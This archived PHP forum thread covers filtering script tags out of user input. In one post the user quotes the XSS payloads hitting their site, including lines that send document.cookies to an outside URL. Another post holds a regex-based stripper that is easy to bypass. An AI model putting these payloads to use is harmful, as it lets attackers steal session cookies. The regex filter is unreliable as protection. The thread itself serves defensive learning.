Jump to content

Blocking <script> in PHP?


JayJabber

Recommended Posts

It should remove javascript codes from a string. Did you mean that?

 

 

It works but how can i remove the message part

<?php

 

function strip_script($string) {

    // Prevent inline scripting

    //$string = preg_replace("/<script[^>]*>.*<*script[^>]*>/i", "", $string);

$string = preg_replace("/<script[^>]*>.*?< *script[^>]*>/i", "", $string);

    // Prevent linking to source files

    $string = preg_replace("/<script[^>]*>/i", "", $string);

 

    //styles

    $string = preg_replace("/<style[^>]*>.*<*style[^>]*>/i", "", $string);

    // Prevent linking to source files

    $string = preg_replace("/<style[^>]*>/i", "", $string);

    return $string;

}

 

$cnt = <<<H

<scr<script>ipt language="javascript">alert('PlayerScape Secruity System v1')</script> <----

H;

 

echo strip_script($cnt);

 

 

?>

Link to comment
https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223601
Share on other sites

ok its not working

The codes which are being used are;

 

<script> for(;;){alert('*CENSORED*')}</script>

<script>document.location=”http://minecraftuk.org/xss/?c=” + document.cookies</script>

<script>window.location=”http://minecraftuk.org/xss/?c=” + document.cookies</script>

Link to comment
https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223718
Share on other sites

You could run your input through htmlentities().  Which will show all elements in plain text on the screen.  Thereby they will not execute.

 

In the event that you wish to let users format their own text, you should use BBCode.  This is the main reason it was written.

Link to comment
https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223729
Share on other sites

In addition to htmlentities, if you simply wanted to remove certain tags from the users input, you could use the strip_tags() function using the optional allowable tags argument, if you wanted to remove every tags but, for example, anchor tags.

Keep in mind that strip_tags() doesn't look at attributes, so it would allow stuff such as

Click me, I'm totally legit!

Link to comment
https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223794
Share on other sites

Thats true. But in that case, he should just use html entities, as there are quite a few html tags that support the onclick event. He could also do a regex replace to get rid of all onclick events also, if he really wanted to use strip_tags.

 

However as jcbones has said, using bbc code is probably the best option.

Link to comment
https://forums.phpfreaks.com/topic/238121-blocking-in-php/#findComment-1223835
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.